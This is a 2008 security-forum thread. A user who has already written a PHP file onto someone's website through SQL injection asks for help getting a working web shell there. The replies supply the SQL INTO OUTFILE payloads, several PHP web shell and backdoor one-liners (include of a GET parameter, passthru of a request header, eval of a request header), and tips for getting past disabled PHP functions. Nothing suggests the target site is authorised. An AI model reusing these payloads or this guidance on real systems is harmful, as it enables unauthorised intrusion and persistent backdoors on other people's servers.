Waraxe IT Security Portal
Login or Register
November 24, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 66
Members: 0
Total: 66
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other security holes -> HTTP 403 [ RFI ]
Post new topicReply to topic View previous topic :: View next topic
HTTP 403 [ RFI ]
PostPosted: Wed Feb 13, 2008 4:57 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Help Please Shocked

i put : 1-

Code:
UNION+ALL+SELECT+'<?php+phpinfo();+?>',2,3,4+INTO+OUTFILE+'/home/www/web/1/test.php'/*


work , i see PHPINFO

2-

Code:
UNION+ALL+SELECT+'<?include($_GET["cmd"]);?>',2,3,4+INTO+OUTFILE+'/home/www/web/1/test.php'/*


whene i go to : http://www.site.com/test.php

1
Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.:/opt/php/lib/php') in /home/www/b76e6d18e284b62821382d5fdbbd/web/forum/1.php on line 1
3 4


Whene i go to http://www.yahoo.com , it work Cool , but whene i inject a Shell didnt work Confused

http://www.site.com/test.php?cmd=http://www.yahoo.com

Work 100%

http://www.site.com/test.php?cmd=http://shell.txt?

HTTP 403 Rolling Eyes

tell me 1 Methode Please ; or auter SHELL or ........ Confused Confused Sad PLEASE WARAXE


and Thankx for Help Cool
View user's profile Send private message Visit poster's website
PostPosted: Wed Feb 13, 2008 7:59 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try like this

<?include($_GET[cmd]);?>

P.S.If admins are not lamers your shell and this sql inj will live couple hrs or 1 day
View user's profile Send private message
PostPosted: Thu Feb 14, 2008 5:59 am Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




koko wrote:
Try like this

<?include($_GET[cmd]);?>

P.S.If admins are not lamers your shell and this sql inj will live couple hrs or 1 day


i try it Sad not work
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 14, 2008 6:37 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




You know how to work with headers shell's?Something like:

Code:
<?php passthru(getenv("HTTP_HaXoReD"));?>
View user's profile Send private message
PostPosted: Thu Feb 14, 2008 10:30 am Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




koko wrote:
You know how to work with headers shell's?Something like:

Code:
<?php passthru(getenv("HTTP_HaXoReD"));?>



Warning: passthru() has been disabled for security reasons in /home/www/site.com/web/forum/mkportal/blog/file.php on line 1
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 14, 2008 11:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




kr0k0 wrote:
koko wrote:
You know how to work with headers shell's?Something like:

Code:
<?php passthru(getenv("HTTP_HaXoReD"));?>



Warning: passthru() has been disabled for security reasons in /home/www/site.com/web/forum/mkportal/blog/file.php on line 1


Look at phpinfo! php version? safe_mode? disable_functions? Is php as Apache module or CGI? open_basedir? Is .htaccess usable? perl support? python support?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Feb 14, 2008 12:43 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




safe_mode : Off

disable_functions :
set_time_limit,passthru,exec,system,popen,shell_exec,proc_open set_time_limit,passthru,exec,system,popen,shell_exec,proc_open

open_basedir : /home/www/site.com/:/tmp no value
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 14, 2008 3:29 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




A'm ask you one more time you know how to work with headers?
View user's profile Send private message
PostPosted: Thu Feb 14, 2008 3:50 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




kr0k0 wrote:
safe_mode : Off

disable_functions :
set_time_limit,passthru,exec,system,popen,shell_exec,proc_open set_time_limit,passthru,exec,system,popen,shell_exec,proc_open

open_basedir : /home/www/site.com/:/tmp no value


What version is php?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Feb 15, 2008 12:13 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




waraxe wrote:
kr0k0 wrote:
safe_mode : Off

disable_functions :
set_time_limit,passthru,exec,system,popen,shell_exec,proc_open set_time_limit,passthru,exec,system,popen,shell_exec,proc_open

open_basedir : /home/www/site.com/:/tmp no value


What version is php?


PHP Version 4.4.7 Cool
View user's profile Send private message Visit poster's website
PostPosted: Fri Feb 15, 2008 1:07 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




eval() is not disable use it.
View user's profile Send private message
PostPosted: Fri Feb 15, 2008 1:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




koko wrote:
eval() is not disable use it.


He allready has php access. So no use of eval(). But shell access is needed. And shell functions are disabled. And ... php version is not old. ...

Perl possibilities? Can you write to cgi-bin? Probably not ... If you can manage to write and execute perl script, then shell access may be possible. Try to write .htaccess file and test for it's functionality - is it usable?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Feb 15, 2008 2:01 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




waraxe ему нужен шел но сам видиш что большинство функции disable.Но eval() не в списке.А почему не изпользовать его.Примерно.

Code:
<?php
$d=@getenv('HTTP_Fucked');
if($d) {@eval($d);exit;}
?>
View user's profile Send private message
HTTP 403 [ RFI ]
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds